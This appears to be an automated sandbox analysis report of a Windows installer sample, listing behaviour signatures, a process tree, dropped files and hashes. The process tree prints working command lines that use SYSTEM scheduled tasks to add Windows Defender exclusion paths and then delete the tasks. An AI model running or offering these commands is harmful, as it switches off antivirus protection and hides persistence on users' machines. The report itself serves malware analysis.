Analysis

  • max time kernel
    150s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    13/08/2026, 17:06

General

  • Target
    install_sint014.exe
  • Size 40.7MB
  • Sample260813-vmdtfscb98
  • SHA256 a92c2c19727bf8d6d010da404402ed2d582ccfa81af3c20c7be064922114709d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 8 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install_sint014.exe
    "C:\Users\Admin\AppData\Local\Temp\install_sint014.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:2940
  • C:\Users\Public\KZI7Mw\lqo7FX.exe
    C:\Users\Public\KZI7Mw\lqo7FX.exe
    1⤵
    • Checks computer location settings
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2912
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\KZI7Mw\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:4412
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\KZI7Mw\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:988
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:2800
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:3772
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:4544
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3584
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:5024
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:884
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:3168
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4604
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:4084
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:4984
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  PID:2188
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:3032
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4184
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:1400
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:3368
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:3340
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:1252
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:3512
                      • C:\Users\Public\KZI7Mw\lqo7FX.exe
                        "C:\Users\Public\KZI7Mw\lqo7FX.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Adds Run key to start application
                        • Drops file in System32 directory
                        PID:3864
                      • C:\Windows\system32\cmd.exe
                        cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\KZI7Mw" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:204
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\KZI7Mw" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:4676
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:4716
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:3912
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:2440
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4436
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:2556

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

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                              Downloads

                              1BA79029EC3FFD076F5DAC2F70A18685

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BA79029EC3FFD076F5DAC2F70A18685
                              • Size 1KB
                              • SHA256 63b14543360f5e89942ea8d5113526e64fbc71c1207328f0136b3a495d921dd0
                              • MD5 SHA1 SHA512 TLSH

                              1BA79029EC3FFD076F5DAC2F70A18685

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1BA79029EC3FFD076F5DAC2F70A18685
                              • Size 186B
                              • SHA256 f7081d4714723625306fd25e25501e9788bef097ac766eee07272b129f9cdb16
                              • MD5 SHA1 SHA512 TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\KZI7Mw\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 c24b8dd42f2e7a6f5908a9d9d12b7e026e0435443830ab87b69d24ca84f03b89
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\KZI7Mw\adoresd.dat
                              • Size 4.7MB
                              • SHA256 d7839af33e701e11e75a6de1e860a35ec73e2d9bc454e0d93a787c139dcb700d
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              lqo7FX.exe

                              • Path C:\Users\Public\KZI7Mw\lqo7FX.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\KZI7Mw\msadox.tb
                              • Size 8KB
                              • SHA256 153315d6b4e5335d84e0cd12ffcd225db3936680e10755534e8d100eca370f5f
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              SiPolicy.p7b

                              • Path C:\Windows\System32\CodeIntegrity\SiPolicy.p7b
                              • Size 24KB
                              • SHA256 b3f17065ed63b17ffef175f2979907d8eef69a76ba4cbd1d9785035a0b1f0a10
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/2912-557-0x000002AA44EA0000-0x000002AA44F2A000-memory.dmp

                              memory/2912-565-0x000002AA44230000-0x000002AA44AC1000-memory.dmp

                              memory/2912-531-0x00007FFE7C870000-0x00007FFE7CD8E000-memory.dmp

                              memory/2912-596-0x000002AA44230000-0x000002AA44AC1000-memory.dmp

                              memory/2912-530-0x00007FFE9A730000-0x00007FFE9A732000-memory.dmp

                              memory/2912-536-0x000002AA44230000-0x000002AA44AC1000-memory.dmp

                              memory/2912-538-0x00007FFE9A740000-0x00007FFE9A742000-memory.dmp

                              memory/2912-543-0x000002AA44230000-0x000002AA44AC1000-memory.dmp

                              memory/2912-544-0x000002AA44230000-0x000002AA44AC1000-memory.dmp

                              memory/2912-545-0x000002AA44230000-0x000002AA44AC1000-memory.dmp

                              memory/2912-539-0x000002AA44230000-0x000002AA44AC1000-memory.dmp

                              memory/2912-546-0x000002AA44230000-0x000002AA44AC1000-memory.dmp

                              memory/2912-550-0x000002AA44230000-0x000002AA44AC1000-memory.dmp

                              memory/2912-559-0x000002AA44EA0000-0x000002AA44F2A000-memory.dmp

                              memory/2912-558-0x000002AA44EA0000-0x000002AA44F2A000-memory.dmp

                              memory/2912-564-0x000002AA44230000-0x000002AA44AC1000-memory.dmp

                              memory/2912-556-0x000002AA44EA0000-0x000002AA44F2A000-memory.dmp

                              memory/2912-555-0x000002AA42040000-0x000002AA4208E000-memory.dmp

                              memory/2940-0-0x00000000001E0000-0x00000000001EE000-memory.dmp

                              memory/2940-524-0x00000000001E0000-0x00000000001EE000-memory.dmp

                              memory/2940-504-0x00007FFE8BA60000-0x00007FFE8BA70000-memory.dmp

                              memory/2940-2-0x00000000001F0000-0x00000000001FC000-memory.dmp

                              memory/2940-1-0x00000000001E0000-0x00000000001EE000-memory.dmp

                              memory/2940-525-0x00007FFE8BA60000-0x00007FFE8BA70000-memory.dmp

                              memory/3864-592-0x00000255CEC10000-0x00000255CF4A1000-memory.dmp

                              memory/3864-599-0x00000255CEC10000-0x00000255CF4A1000-memory.dmp

                              memory/3864-591-0x00000255CEC10000-0x00000255CF4A1000-memory.dmp

                              memory/3864-594-0x00000255CEC10000-0x00000255CF4A1000-memory.dmp

                              memory/3864-587-0x00000255CEC10000-0x00000255CF4A1000-memory.dmp

                              memory/3864-593-0x00000255CEC10000-0x00000255CF4A1000-memory.dmp

                              memory/3864-581-0x00000255CEC10000-0x00000255CF4A1000-memory.dmp

                              memory/3864-586-0x00007FFE9A740000-0x00007FFE9A742000-memory.dmp

                              memory/3864-578-0x00007FFE7C870000-0x00007FFE7CD8E000-memory.dmp

                              memory/3864-610-0x00000255CF540000-0x00000255CF5CA000-memory.dmp

                              memory/3864-609-0x00000255CF540000-0x00000255CF5CA000-memory.dmp

                              memory/3864-608-0x00000255CF540000-0x00000255CF5CA000-memory.dmp

                              memory/3864-607-0x00000255CF540000-0x00000255CF5CA000-memory.dmp

                              memory/3864-605-0x00000255CEC10000-0x00000255CF4A1000-memory.dmp

                              memory/3864-615-0x00000255CEC10000-0x00000255CF4A1000-memory.dmp

                              memory/3864-617-0x00000255CEC10000-0x00000255CF4A1000-memory.dmp